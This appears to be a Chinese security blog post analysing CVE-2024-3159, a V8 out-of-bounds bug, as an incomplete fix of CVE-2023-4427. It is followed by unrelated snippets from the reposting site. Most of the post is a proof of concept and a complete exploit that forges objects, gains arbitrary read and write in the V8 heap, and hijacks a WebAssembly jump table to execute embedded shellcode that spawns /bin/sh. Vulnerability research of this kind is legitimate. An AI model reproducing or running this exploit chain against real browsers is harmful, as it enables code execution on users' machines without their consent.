CVE-2024-3159:Out of bounds memory access in V8

前言

这个洞在今年的 Pwn2Own 上被利用,目前还没有公开报告。该漏洞可以说是 CVE-2023-4427 漏洞未正确修复,其原理和利用跟 CVE-2023-4427 没有本质区别,CVE-2023-4427 之前分析过,所以这里不作过多说明,仅仅做记录

环境搭建

git checkout 1c623f9ff6e077be1c66f155485ea4005ddb6574
gclient sync -D

漏洞分析

在这里插入图片描述
可以看到这里对之前修复的 CVE-2023-4427 增加了一种情况:

  • {split_map}'s descriptors 存在 enum_cache 时,也要进行复制更新

则之前的修复遗漏了这种情况,这里也不多说了,参考 CVE-2023-4427 就行,毕竟这个漏洞就是 CVE-2023-4427 修复不完全导致的,这里直接看 POC

const obj1 = {};
obj1.a = 1;const obj2 = {};
obj2.a = 1;
obj2.b = 2;const obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;
obj3.d = 4;const obj4 = {};
obj4.a = 1;
obj4.b = 2;
obj4.c = 3;
obj4.e = 4;// init enum cache
for (let key in obj2) {}function trigger(callback) {for (let key in obj2) {callback();console.log(obj2[key]);}
}%PrepareFunctionForOptimization(trigger);
trigger(_=>_);
trigger(_=>_);
%OptimizeFunctionOnNextCall(trigger);
trigger(_=>_);trigger(_=>{obj4.c = 1.1;for (let i in obj1) {}}
);

输出如下:

$ ./d8 --allow-natives-syntax poc.js
1
2
1
2
1
2
1
undefined

大致原理如下:
在这里插入图片描述
这里可以出现一种情况,即 descriptor array0enum cache 不为空,而 descriptor array1enum cache 为空,那么当修改 obj4.c = 1.1 时,由于这里是从 Smi 变成了一个 double,所以并不是简单修改描述符数组,而是会为 obj4 创建一个新的 map,并沿着 map transition tree 进行修改,使其 descriptor array 保持一致。而此时 obj4 对应的描述符数组的 enum cache 为空,所以不会对新的描述符数组的 enum cache 进行更新,从而导致 obj2 对应的 enum cache 也为空。后面的情况跟 CVE-2023-4427 就是如出一辙了…

漏洞利用

针对此类漏洞,本来是可以泄漏 TheHole 的,但是高版本利用不了,所以这里还是只能写一个依赖特定版本的利用(使用硬编码…

简单糊了一个…

var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;function pair_u32_to_f64(l, h) {u32[0] = l;u32[1] = h;return f64[0];
}function u64_to_f64(val) {u64[0] = val;return f64[0];
}function f64_to_u64(val) {f64[0] = val;return u64[0];
}function set_u64(val) {u64[0] = val;
}function set_l(l) {u32[0] = l;
}function set_h(h) {u32[1] = h;
}function get_l() {return u32[0];
}function get_h() {return u32[1];
}function get_u64() {return u64[0];
}function get_f64() {return f64[0];
}function get_fl(val) {f64[0] = val;return u32[0];
}function get_fh(val) {f64[0] = val;return u32[1];
}function add_ref(obj) {roots[index++] = obj;
}function major_gc() {new ArrayBuffer(0x7fe00000);
}function minor_gc() {for (let i = 0; i < 8; i++) {add_ref(new ArrayBuffer(0x200000));}add_ref(new ArrayBuffer(8));
}function hexx(str, val) {console.log(str+": 0x"+val.toString(16));
}function sleep(ms) {return new Promise((resolve) => setTimeout(resolve, ms));
}var spray_array = Array(0xf700);
var data_start_addr = 0x00442129+7;
var map_addr = data_start_addr + 0x1000;
var fake_object_addr = map_addr + 0x1000;spray_array[(map_addr-data_start_addr) / 8] = u64_to_f64(0x2d04040400000061n);
//spray_array[(map_addr-data_start_addr) / 8] = pair_u32_to_f64(data_start_addr+0x200, 0x2d040404);
spray_array[(map_addr-data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x219);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(data_start_addr-1, 0x20);var leak_object_array = new Array(0xf700).fill({});
var leak_object_element_addr = 0x004c2129;//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);
//readline();const object1 = {};
object1.a = 1;const object2 = {};
object2.a = 2;
object2.b = 2;//const N = pair_u32_to_f64(0x42424242, 0x42424242);
const N = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
var fake_object_array = [N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,N,
];const object3 = {};
object3.a = 3;
object3.b = 3;
object3.c = 3;
object3.d = 3;const object4 = {};
object4.a = 4;
object4.b = 4;
object4.c = 4;
object4.e = 4;let fake_array;
for (let key in object2) {}
function trigger(callback) {for (let key in object2) {callback();fake_array = object2[key];}
}//%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
//%OptimizeFunctionOnNextCall(trigger);
trigger(_ => _);
for (let i = 0; i < 0x10000; i++) {trigger(_ => _);trigger(_ => _);trigger(_ => _);
}
//%DebugPrint(object4);
//readline();
trigger(_ => {
//      print("callback");object4.c = 1.1;for (let key in object1) { }
//      %DebugPrint(object2);
//      readline();
});//print(fake_array === %TheHole());
//%DebugPrint(fake_array);function addressOf(obj) {spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_object_element_addr, 0x20);leak_object_array[0] = obj;f64[0] = fake_array[0];return u32[0];
}//var test = [1.1];
//hexx("test address", addressOf(test));
//%DebugPrint(test);function arb_read_cage(addr) {spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);return f64_to_u64(fake_array[0]);
}function arb_write_half_cage(addr, val) {let orig_val = arb_read_cage(addr);fake_array[0] = pair_u32_to_f64(orig_val&0xffffffff, val);
}function arb_write_full_cage(addr, val) {spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);fake_array[0] = u64_to_f64(val);
}var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7, 14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88, 235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49, 219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
var wmain = instance.exports.main;
for (let j = 0x0; j < 10000; j++) {wmain();
}let instance_addr = addressOf(instance);
hexx("instance_addr", instance_addr);
let jump_table_addr = instance_addr + 0x50;
let rwx_addr = arb_read_cage(jump_table_addr);
hexx("rwx_addr", rwx_addr);arb_write_full_cage(jump_table_addr, rwx_addr+0x71dn-5n);
var pwn = instance.exports.pwn;
pwn();//%DebugPrint(instance);
//readline();

效果如下:
在这里插入图片描述

参考

https://chromium-review.googlesource.com/c/v8/v8/+/5401860/2/src/objects/map-updater.cc#1055
https://chromereleases.googleblog.com/2024/04/stable-channel-update-for-desktop.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/640099.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringAOP从入门到源码分析大全(四)SpringAOP的源码分析

文章目录 系列文档索引六、EnableAspectJAutoProxy源码分析1、AnnotationAwareAspectJAutoProxyCreator源码&#xff08;1&#xff09;wrapIfNecessary方法&#xff08;2&#xff09;createProxy 2、getAdvicesAndAdvisorsForBean查找所有Advisor&#xff08;1&#xff09;find…

爬虫机试题-爬取新闻网站

之前投简历时遇到了这样的一个笔试。本以为会是数据结构算法之类的没想到直接发了一个word直接提需求&#xff0c;感觉挺有意思就写了这篇文章&#xff0c;感兴趣的朋友可以看看。 拿到urllist 通过分析页面结构我们得以知道&#xff0c;这个页面本身没有新闻信息&#xff0c;是…

芒果超媒的“乘风破浪”,差了一点市场海浪的反馈

4月21日晚间&#xff0c;芒果超媒发布了2023年度&2024一季度报告。 芒果超媒2023年实现营业收入146.28亿元&#xff0c;同比增长4.66%&#xff1b;净利润35.56亿元&#xff0c;同比增长90.73%&#xff1b;基本每股收益1.90元。公司拟每10股派发现金红利1.8元。2024年第一季…

路由过滤,策略实验

1配置ip [r1]int g0/0/0 [r1-GigabitEthernet0/0/0]ip add 100.1.1.1 24 [r1-GigabitEthernet0/0/0]int l0 [r1-LoopBack0]ip add 192.168.0.1 32 [r1-LoopBack0]int l1 [r1-LoopBack1]ip add 192.168.1.1 32 [r2]int g0/0/0 [r2-GigabitEthernet0/0/0]ip add 100.1.1.2 24 [r…

【python】直接在python3下安装 jupyter notebook,以及处理安装报错,启动不了问题

目录 问题&#xff1a; 1 先做准备&#xff0c;查看环境 1.1 先看python3 和pip &#xff0c;以及查看是否有 juypter 1.2 开始安装 1.3 安装完成后得到警告和报错 2 处理安装的报错问题 2.1 网上有说是因为 pip 自身需要更新&#xff0c;更新之 2.1.1 更新pip 2.1.…

牛客NC238 加起来和为目标值的组合【中等 DFS C++、Java、Go、PHP】

题目 题目链接&#xff1a; https://www.nowcoder.com/practice/172e6420abf84c11840ed6b36a48f8cd 思路 本题是组合问题&#xff0c;相同元素不同排列仍然看作一个结果。 穷经所有的可能子集&#xff0c;若和等于target&#xff0c;加入最终结果集合。 给nums排序是为了方便…

基于SpringBoot的宠物领养网站管理系统

基于SpringBootVue的宠物领养网站管理系统的设计与实现~ 开发语言&#xff1a;Java数据库&#xff1a;MySQL技术&#xff1a;SpringBootMyBatis工具&#xff1a;IDEA/Ecilpse、Navicat、Maven 系统展示 主页 宠物领养 宠物救助站 宠物论坛 登录界面 管理员界面 摘要 基于Spr…

恶心透了的小日子,害人终害己,国货呼吁关注抵制日本核废水排放

​|日本排放核废水 日本政府决定将福岛第一核电站的核污染水经过处理后排放入海&#xff0c;这一决定引发了多方面的担忧和反对&#xff0c;特别是在周边国家&#xff0c;包括中国和韩国。关于日本排放核污染水这一新闻事件&#xff0c;我们必须首先认识到&#xff0c;核能利用…

ThingsBoard教程(二十九):详细讲解在tb平台下 http协议下的客户端rpc,服务的rpc的使用

客户端rpc 先来说一下简单的客户端rpc, 客户端发起rpc请求,只需要使用post方法调用该接口即可以 http://host:port/api/v1/$ACCESS_TOKEN/rpc请求路径中间的参数 ACCESS_TOKEN 必须是设备的访问令牌。 请求携带的参数如下,二个参数method和params {"method": …

实现游戏地图读取与射击运行

射击代码来源自2D 横向对抗射击游戏&#xff08;by STF&#xff09; - CodeBus 地图读取改装自 瓦片地图编辑器 解决边界检测&#xff0c;实现使用不同像素窗口也能移动不闪退-CSDN博客 // 程序&#xff1a;2D RPG 地图编辑器改游戏读取器 // 作者&#xff1a;民用级脑的研发…

Python网络数据抓取(3):Requests

引言 在这一部分&#xff0c;我们将探讨Python的requests库&#xff0c;并且利用这个库来进行网页数据抓取。那么&#xff0c;我们为何需要这个库&#xff0c;以及怎样利用它呢&#xff1f; requests库是广受大家欢迎的一个库&#xff0c;它是下载次数最多的。这个库使我们能够…

Idea:通义千问插件

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 一、通义千问大模型 二、程序编写助手 三、Idea安装通义千问插件 总结 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、通义千问大模型…